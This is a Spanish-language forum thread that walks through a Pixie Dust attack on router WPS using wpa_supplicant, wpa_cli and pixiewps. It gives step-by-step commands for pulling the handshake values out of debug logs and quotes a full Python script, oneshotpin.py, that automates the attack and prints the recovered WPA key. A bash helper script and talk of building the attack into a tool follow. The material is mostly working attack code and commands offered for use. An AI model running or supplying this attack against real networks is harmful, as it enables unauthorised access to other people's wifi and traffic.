El libre pensamiento para un internet libre
No estas registrado.
El método presentado a continuación no requiere modo monitor ni inyección de paquetes.
Funciona con todas las interfaces wifi reconocidas por tu sistema linux: Hablamos de un método universal.
Se hace con el propio wpa_supplicant que es el programa encargado del WPA y del WPS en todos los sistemas linux.
Hay mucha información en este foro sobre el ataque pixie dust y wpa-cli así que no voy a explicar todo otra vez.
Si eres nuevo en esto..
Para saber que información es necesaria para llevar un ataque pixie dust lea: "Pixie Dust" ataque de fuerza bruta offline para generar el PIN valido
Para saber cómo instalar y usar pixiepws de wiire lea: Pixiewps de wiire : la herramienta para el novedoso ataque Pixie Dust
Para saber cómo emplear wpa-cli para mandar un PIN lea: Obtener llave WPA con PIN WPS (sin modo monitor ni reaver) desde Linux
Una vez que tienes pixiewps instalado en tu sistema te puedes lanzar al abordaje siguiendo los pasos expuestos a continuación:
- Detectamos nuestra interfaz con iw dev (requiere privilegios de administrador)
[email protected]:~$ sudo iw dev
phy#1
Interface wlan1
ifindex 6
wdev 0x100000001
addr 52:c1:d8:ad:c1:74
type managed
txpower 20.00 dBm
phy#0
Interface wlan0
ifindex 5
wdev 0x3
addr be:a3:b8:c0:1f:01
type managed
txpower 15.00 dBm
Tengo a dos interfaces reconocidas, la wlan1 siendo la interfaz USB con el chipset ralink de doble banda, es sin importancia, Si tu interfaz está detectada vale para esto. Para mi será wlan1.
- Detenemos los procesos conflictivos
* Parar el gestor de redes Network Manager (o wicd si usamos wicd)
sudo systemctl stop network-manager
* "Matar" los eventuales procesos wpa_supplicant y dhcclients restantes.
sudo killall wpa_supplicant dhclient
Paso necesario necesario para ejecutar en otra consola a wpa_cli para hacer el ataque pixiedust
Redactamos un fichero de configuración básico con esta linea:
ctrl_interface=/var/run/wpa_supplicant
Se puede hacer así:
echo "ctrl_interface=/var/run/wpa_supplicant" >> ~/basic.conf
Y tendrá el fichero en mi carpeta personal con nombre basic.conf
Lanzamos ahora a wpa_supplicant indicando la ruta hacía el fichero de configuración:
sudo wpa_supplicant -K -d -Dnl80211,wext,hostapd,wired -i wlan1 -c ~/basic.conf
Debéis poner después -i la interfaz que corresponde y después -c la ruta hacía su fichero con el nombre que habéis puesto.
Dejamos está consola abierta
Se queda de momento en suspenso con este mensaje: EAPOL: disable timer tick
Lanzamos wpa_cli, el demonio interactivo de wpa_supplicant
sudo wpa-cli -i wlan1
Estamos en modo interactivo y podemos entrar ordenes
Si no hemos apuntado el bSSID de nuestro PA podemos escanear con
scan
seguido de
scan_results
Para lanzar un PIN
wps_reg <Bssid> <PIN>
Lanzo el PIN 12345670 y tengo un fallo (no es el PIN correcto):
Todo se hace en cuestión de segundos:
Podemos en este punto detener wpa_cli con quit y parar el proceso wpa_supplicant en la primera consola pulsando CTRL+C .
La consola con wpa_cli (la segunda) no nos interesa a partir de ahora.
Tenemos en primera consola todo el log detallado del error (PIN erróneo) con todos los elementos necesarios para efectuar un ataque de fuerza bruta "offline" y generar el PIN del punto de acceso gracias a pixiewps.
Abrimos una tercera consola y tecleamos pixiewps para tener la ayuda bajo los ojos y sobre todo ver la sintaxis aconsejada, a saber:
pixiewps -e <pke> -r <pkr> -s <e-hash1> -z <e-hash2> -a <authkey> -n <e-nonce>
Todos estos elementos se encuentran en nuestra primera consola, hay que hacer un poco de scrolling.
Primero encontraremos la enrolle nonce que debemos poner después el -n en la consola pixiewps. Se encuentra justo después de recibir el mensaje M1
Al momento de forjar el M2 se generan: La PKE (argumento -e), la PKR (argumento -r) y la Auth KEY (argumento -a)
Por fin recogemos en cuanto se recibe el M3 el E-HASH1 (argumento -s) y el E-HASH2 (argumento -z)
Tenemos todo para hacer el ataque pixie dust.
Notad que la PKR se llama DH own Public Key y la PKE se llama DH peer public key. Es la única dificultad para identificar las cadenas pertinentes.
Un problema es que las cadenas llevan espacios en lugar de dos puntos (pixiewps los necesita)
Un truco para no tener que hacer lo a mano es copiar la cadena y pegar la en esta linea de orden.
echo "la cadena" | sed -e 's/ /:/g'
Podemos usar nuestra segunda consola (la que usábamos para wpa_cli) como consola de transición antes de pegar las cadenas con dos puntos en la consola pixiewps
Ejemplo con la authkey:
Y esto, copiamos cada cadena de una en una desde la primera consola; las pasamos por la linea de ordenes en nuestra segunda consola y la pegamos en la consola pixiewps con el argumento que le corresponde.
Después la sesión de copiado-pegado tenemos a la linea de ordenes completa y lista.
(En mi caso he de añadir el argumento --force porque mi routeur realtek no tiene la fecha bien configurada)
Para obtener la llave WPA...
...Más de lo mismo pero está vez con el PIN que acabamos de derivar
Todo está expuesto en este tema: Obtener llave WPA con PIN WPS (sin modo monitor ni reaver) desde Linux
Es solo cuestión de añadir un par de lineas al fichero de configuración y ejecutar los mimos comandos en primera y segunda consola (con el PIN bueno en luar de 12345670, por supuesto )
Decir que es le compadre r0flor quien ha visto que podíamos hacer así ya que se enseña la authkey (la pieza que falta si nos contentamos de capturar el trafico) mientras se genera.
Una saludo y hasta pronto para nuevas aventuras en el mundo del wifi.
Desconectado
muy bueno el tema lo puedo incluir en el programa si queréis, pero si que necesitare un poco de ayuda con esto, al menos con los comandos en un archivo para poder adaptarlo al programa.
Desconectado
R0flor ha dejado un script en python (oneshotpin.py)en el repositorio de reaver:
#!/usr/bin/env python2
import sys, subprocess, os, tempfile, shutil
class Data():
def __init__(self):
self.pke = ''
self.pkr = ''
self.e_hash1 = ''
self.e_hash2 = ''
self.authkey = ''
self.e_nonce = ''
self.wpa_psk = ''
self.state = ''
class Options():
def __init__(self):
self.interface = None
self.bssid = None
self.pin = None
self.pixiemode = False
self.verbose = False
self.showpixiecmd = False
def shellcmd(cmd):
proc = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE)
result = proc.read()
proc.wait()
return result
def run_wpa_supplicant(options):
options.tempdir = tempfile.mkdtemp()
with tempfile.NamedTemporaryFile(suffix='.conf', delete=False) as temp:
temp.write("ctrl_interface=%s\nctrl_interface_group=root\nupdate_config=1\n"%(options.tempdir))
options.tempconf=temp.name
cmd = 'wpa_supplicant -K -d -Dnl80211,wext,hostapd,wired -i%s -c%s'%(options.interface, options.tempconf)
proc = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
return proc
def run_wpa_cli(options):
cmd = 'wpa_cli -i%s -p%s'%(options.interface, options.tempdir)
proc = subprocess.Popen(cmd, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
return proc
def recvuntil(pipe, what):
s = ''
while True:
inp = pipe.stdout.read(1)
if inp == '': return s
s += inp
if what in s: return s
def got_all_pixie_data(data):
return data.pke and data.pkr and data.e_nonce and data.authkey and data.e_hash1 and data.e_hash2
def statechange(data, old, new):
print '%s -> %s'%(old, new)
data.state = new
return True
def process_wpa_supplicant(pipe, options, data):
def get_hex(line):
a = line.split(':', 3)
return a[2].replace(' ', '')
line = pipe.stdout.readline()
if line == '':
pipe.wait()
return False
line = line.rstrip('\n')
if options.verbose: sys.stderr.write(line + '\n')
if line.startswith('WPS: '):
if 'Enrollee Nonce' in line and 'hexdump' in line:
data.e_nonce = get_hex(line)
assert(len(data.e_nonce) == 16*2)
elif 'DH own Public Key' in line and 'hexdump' in line:
data.pkr = get_hex(line)
assert(len(data.pkr) == 192*2)
elif 'DH peer Public Key' in line and 'hexdump' in line:
data.pke = get_hex(line)
assert(len(data.pke) == 192*2)
elif 'AuthKey' in line and 'hexdump' in line:
data.authkey = get_hex(line)
assert(len(data.authkey) == 32*2)
elif 'E-Hash1' in line and 'hexdump' in line:
data.e_hash1 = get_hex(line)
assert(len(data.e_hash1) == 32*2)
elif 'E-Hash2' in line and 'hexdump' in line:
data.e_hash2 = get_hex(line)
assert(len(data.e_hash2) == 32*2)
elif 'Network Key' in line and 'hexdump' in line:
data.wpa_psk = get_hex(line).decode('hex')
elif 'Building Message M' in line:
statechange(data, data.state, 'M' + line.split('Building Message M')[1])
elif 'Received M' in line:
statechange(data, data.state, 'M' + line.split('Received M')[1])
elif ': State: ' in line:
statechange(data, *line.split(': State: ')[1].split(' -> '))
elif 'WPS-FAIL' in line:
print "WPS-FAIL :("
return False
elif 'NL80211_CMD_DEL_STATION' in line:
#if data.state == 'ASSOCIATED':
# print "URGH"
print "[ERROR]: unexpected interference - kill NetworkManager/wpa_supplicant!"
#return False
elif 'Trying to authenticate with' in line:
print line
elif 'Authentication response' in line:
print line
elif 'Trying to associate with' in line:
print line
elif 'Associated with' in line:
print line
elif 'EAPOL: txStart' in line:
print line
return True
def die(msg):
sys.stderr.write(msg + '\n')
sys.exit(1)
def usage():
die( \
"""
oneshotpin 0.0.2 (c) 2017 rofl0r
Required Arguments:
-i, --interface=<wlan0> Name of the interface to use
-b, --bssid=<mac> BSSID of the target AP
Optional Arguments:
-p, --pin=<wps pin> Use the specified pin (arbitrary string or 4/8 digit pin)
-K, --pixie-dust Run pixiedust attack
-X Alway print pixiewps command
-v Verbose output
Example:
%s -i wlan0 -b 00:90:4C:C1:AC:21 -p 12345670 -K
""" % sys.argv[0])
def get_pixie_cmd(data):
return "pixiewps --pke %s --pkr %s --e-hash1 %s --e-hash2 %s --authkey %s --e-nonce %s" % \
(data.pke, data.pkr, data.e_hash1, data.e_hash2, data.authkey, data.e_nonce)
def cleanup(wpas, wpac, options):
wpac.stdin.write('terminate\nquit\n')
wpas.terminate()
wpac.terminate()
shutil.rmtree(options.tempdir, ignore_errors=True)
os.remove(options.tempconf)
if __name__ == '__main__':
options = Options()
import getopt
optlist, args = getopt.getopt(sys.argv[1:], ":e:i:b:p:XKv", ["help", "interface", "bssid", "pin", "pixie-dust"])
for a,b in optlist:
if a in ('-i', "--interface"): options.interface = b
elif a in ('-b', "--bssid"): options.bssid = b
elif a in ('-p', "--pin"): options.pin = b
elif a in ('-K', "--pixie-dust"): options.pixiemode = True
elif a in ('-X'): options.showpixiecmd = True
elif a in ('-v'): options.verbose = True
elif a == '--help': usage()
if not options.interface or not options.bssid:
die("missing required argument! (use --help for usage)")
if options.pin == None and not options.pixiemode:
die("you need to supply a pin or enable pixiemode! (use --help for usage)")
if options.pin == None and options.pixiemode:
options.pin = '12345670'
if os.getuid() != 0:
die("oops, try as root")
data = Data()
wpas = run_wpa_supplicant(options)
while True:
s = recvuntil(wpas, '\n')
if options.verbose: sys.stderr.write(s)
if 'update_config=1' in s: break
wpac = run_wpa_cli(options)
recvuntil(wpac, '\n> ')
wpac.stdin.write('wps_reg %s %s\n' % (options.bssid, options.pin))
# while True:
# sys.stderr.write( wpac.stdout.read(1) )
recvuntil(wpac, 'OK')
pixiecmd = None
while True:
try:
res = process_wpa_supplicant(wpas, options, data)
except KeyboardInterrupt:
print "aborting..."
res = False
if not res: break
if got_all_pixie_data(data):
pixiecmd = get_pixie_cmd(data)
if options.pixiemode and pixiecmd:
cleanup(wpas, wpac, options)
print "running %s" % pixiecmd
os.execlp('/bin/sh', '/bin/sh', '-c', pixiecmd)
# shouldnt get here
sys.exit(1)
if data.wpa_psk:
if options.showpixiecmd and pixiecmd: print pixiecmd
cleanup(wpas, wpac, options)
print "!!! GOT WPA KEY !!!: %s" % data.wpa_psk
sys.exit(0)
print "hmm, seems something went wrong..."
if options.showpixiecmd and pixiecmd: print pixiecmd
cleanup(wpas, wpac, options)
sys.exit(1)
ver: timout errors #175
Los "comandos" a ejecutar son dos.
Una vez la interfaz seleccionada con tu sistema de menú y el "fichero" (tres lineas, incluso una) *.conf puesto en un sitio debes:
1. Iniciar wpa_supplicant en modo --debugg indicando el fichero de configuración. Debes mandar el proceso en background y "vigilar" la salida (que duplicas). Con bash no hay "multi threading" (mejor con python para esto) así que debes apañarte con el truco que te parezca.
wpa_supplicant -i <interfaz> -c /ruta/fichero/*conf -K -B
-K para el debug y -B para manadr el proceso en background
2. Mandar un PIN
wpa_cli -i <Interfaz> wps_reg <Bssid> <PIN>
Luego recoger las cadenas y hacer la linea pixedust,
He hecho un script para hacer conexión PBC con wpa_cli y es casi el mismo proceso (no hay lo de recoger las cadenas pero es lo de menos) salvo que mando una petcicón PBC en lugar de mandar un PIN.
cada paso esta descrito en consola, asi que tienes la descripción de cada maniobra:
cho -e "$white▐█$purpple Shutting down network manager$nocolour (wifi connexion will be lost)"
systemctl stop network-manager
echo -e "$white▐█$purpple Killing conflictual process$nocolour"
killall wpa_supplicant dhclient 2>/dev/null
echo -e "$white▐█$purpple Soft block control$nocolour"
rfkill unblock wifi
echo -e "$white▐█$purpple Managed mode control$nocolour"
ip link set "$interface" down
iwconfig "$interface" mode managed
ip link set "$interface" up
echo -e "$white▐█$purpple Creation of wpa_supplicant configuration file$nocolour"
echo "ctrl_interface=/var/run/wpa_supplicant
ctrl_interface_group=root
update_config=1" >> /tmp/PBC.conf
echo -e "$white▐█$purpple Launching wpa-supplicant$nocolour"
wpa_supplicant -c /tmp/PBC.conf -i "$interface" -B
Aquí está: PBC.sh
Uso iwconfig para seleccionar la interfaz y hubiera sido mejor hacer lo con iw (iwconfig está "abandonado", iw no lo está)
Una forma de hacerlo... Todo está en la gestión de los procesos que mandas en background.
Desconectado
ok, veo como lo implemento en el programa. mejor el de python no?
Desconectado
Sin dudas. Está ya hecho y el código quedaré siempre más directo y eficaz con python que maneja los asuntos de multithreading como un verdadero lenguaje de programación que es. Yo lo utilizaría tal cuál "encapsulado" en el script general. "rellenas" los argumentos que son la interfaz, el bssid y el PIN.
No tienes la parte chequear las interfaces, los permisos etc... pero todo esto lo haces en tu script "principal" así que no importa que esté "en bruto."
Desconectado
una pregunta,entonces las tarjetas que no podiamos usar por el modo monitor,como las ubitiqui. podiamos usarlas de esta manera.un saludo
Desconectado
Yo lo utilizaría tal cuál "encapsulado" en el script general. "rellenas" los argumentos que son la interfaz, el bssid y el PIN.
No tienes la parte chequear las interfaces, los permisos etc... pero todo esto lo haces en tu script "principal" así que no importa que esté "en bruto."
si así tenia pensado de ponerlo, dentro del mismo programa.
Desconectado
Una pregunta,entonces las tarjetas que no podiamos usar por el modo monitor,como las ubitiqui. podiamos usarlas de esta manera.un saludo
Las tarjetas Ubiquiti (USB-PCI) sin problemas.
Están gestionadas por tu distribución GNU-Linux
Con los CPE ubiquiti (nanostation, rocket etc.. los que conectas por cable ethernet y llevan su propio firmware) hay que ver lo que te deja hacer el firmware. Desconozco los Ubiquiti. Puedes probar, te conectas por ssh y mirras que pasa cuando invocas wpa_supplicant y wpa_cli. A priori no deberías tener problemas.
si así tenia pensado de ponerlo, dentro del mismo programa.
Me parece mejor que hacer código bash espagueti con bucles para vigilar procesos en background...
Desconectado
Tema | Respuestas | Vistas | Ultimo mensaje |
---|---|---|---|
Error de inicio en entorno gráfico por Hunter310#
|
24 | 15004 | 20-06-2022 12:22:19 por kcdtv |
15 | 2717 | 10-06-2022 09:13:42 por kcdtv | |
0 | 218 | 02-06-2022 10:05:09 por kcdtv | |
TP-Link Backup Decryption Utility por kcdtv
|
0 | 207 | 31-05-2022 18:44:34 por kcdtv |
¡Aircrack-ng 1.7 ya está disponible! por kcdtv
|
1 | 526 | 13-05-2022 08:46:52 por Koala |
Ultimo usuario registrado: Asakuras
Usuarios registrados conectados: 0
Invitados conectados: 9
Número total de usuarios registrados: 2,317
Número total de temas: 1,587
Número total de mensajes: 15,139
Atom tema feed - Impulsado por FluxBB